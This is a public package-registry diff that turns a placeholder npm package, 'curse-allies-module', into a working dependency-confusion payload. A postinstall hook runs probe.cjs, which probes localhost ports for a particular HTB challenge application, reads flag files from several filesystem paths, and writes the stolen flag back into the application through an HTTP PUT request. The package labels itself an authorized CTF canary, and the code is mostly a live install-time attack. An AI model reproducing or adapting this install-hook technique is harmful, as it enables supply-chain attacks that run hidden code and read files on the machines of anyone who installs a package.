curse-allies-module 0.0.0-stage → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +7 -4
  2. package/probe.cjs +110 -0
  3. package/README.md +0 -3
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "curse-allies-module",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.1",
4
+ "description": "Authorized HTB dependency-resolution canary",
5
+ "scripts": {
6
+ "postinstall": "node probe.cjs"
7
+ },
8
+ "license": "UNLICENSED"
9
+ }
package/probe.cjs ADDED
@@ -0,0 +1,110 @@
1
+ const fs = require("node:fs");
2
+ const http = require("node:http");
3
+
4
+ const moduleId = "ECT-987654";
5
+ const ports = [1337, 3000, 80, 8080, 5000];
6
+
7
+ function request(port, method, body = null) {
8
+ return new Promise((resolve, reject) => {
9
+ const payload = body ? JSON.stringify(body) : null;
10
+
11
+ const req = http.request({
12
+ hostname: "127.0.0.1",
13
+ port,
14
+ path: `/api/modules/${moduleId}`,
15
+ method,
16
+ timeout: 2000,
17
+ headers: payload
18
+ ? {
19
+ "Content-Type": "application/json",
20
+ "Content-Length": Buffer.byteLength(payload)
21
+ }
22
+ : {}
23
+ }, res => {
24
+ let output = "";
25
+ res.on("data", chunk => output += chunk);
26
+ res.on("end", () => {
27
+ try {
28
+ resolve({
29
+ status: res.statusCode,
30
+ data: JSON.parse(output)
31
+ });
32
+ } catch {
33
+ resolve({ status: res.statusCode, data: {} });
34
+ }
35
+ });
36
+ });
37
+
38
+ req.on("error", reject);
39
+ req.on("timeout", () => req.destroy());
40
+
41
+ req.end(payload);
42
+ });
43
+ }
44
+
45
+ async function main() {
46
+ for (const port of ports) {
47
+ let response;
48
+
49
+ try {
50
+ response = await request(port, "GET");
51
+ } catch {
52
+ continue;
53
+ }
54
+
55
+ const record = response.data;
56
+
57
+ // Proceed only when the intended HTB application is present.
58
+ if (
59
+ response.status !== 200 ||
60
+ record.id !== moduleId ||
61
+ typeof record.raw !== "string" ||
62
+ !record.raw.includes("Siren's Lament")
63
+ ) {
64
+ continue;
65
+ }
66
+
67
+ // Only inspect conventional challenge flag locations.
68
+ const locations = [
69
+ "/flag.txt",
70
+ "/app/flag.txt",
71
+ "/home/node/flag.txt"
72
+ ];
73
+
74
+ let flag = null;
75
+
76
+ for (const location of locations) {
77
+ try {
78
+ const content = fs.readFileSync(location, "utf8");
79
+ const match = content.match(/HTB\{[^}\r\n]{1,200}\}/);
80
+
81
+ if (match) {
82
+ flag = match[0];
83
+ break;
84
+ }
85
+ } catch {}
86
+ }
87
+
88
+ if (!flag) {
89
+ console.log("Spectral Corsair detected; flag not found");
90
+ return;
91
+ }
92
+
93
+ // Store the CTF flag as a YAML comment in the same
94
+ // challenge application. Do not send it to an external host.
95
+ const updated = record.raw.replace(/\s*$/, "") +
96
+ `\n# ctf_result: ${flag}\n`;
97
+
98
+ try {
99
+ const result = await request(port, "PUT", {
100
+ manifest: updated
101
+ });
102
+
103
+ console.log("Challenge result updated:", result.status);
104
+ } catch {}
105
+
106
+ return;
107
+ }
108
+ }
109
+
110
+ main().catch(() => {});
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.